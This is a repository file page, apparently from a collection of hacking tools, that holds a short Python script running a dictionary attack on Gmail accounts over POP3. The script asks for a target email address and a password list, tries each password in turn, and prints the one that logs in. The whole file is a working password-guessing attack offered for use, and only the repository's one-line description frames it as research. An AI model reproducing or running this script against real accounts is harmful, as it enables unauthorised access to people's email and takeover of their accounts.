Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

636 B
Raw Blame
import poplib
mailServer = 'pop.gmail.com'

print('-------------------Dictionary Attack Python Script-------------------')
print('                 ---------By UnKnow----------')

emailID =input('Enter Email ID: ')
passfile=input('Enter Password File location: ')

def hit(email,Pass):
    try:
        myEmailConnection = poplib.POP3_SSL(mailServer)
        myEmailConnection.user(email)
        myEmailConnection.pass_(Pass)
    except:
        print('Trying: '+Pass)
        return False
    else:
        print('Password Found: '+Pass)
        return True

f=open(passfile)
for i in f:
    if(hit(emailID,i)):
        break
input()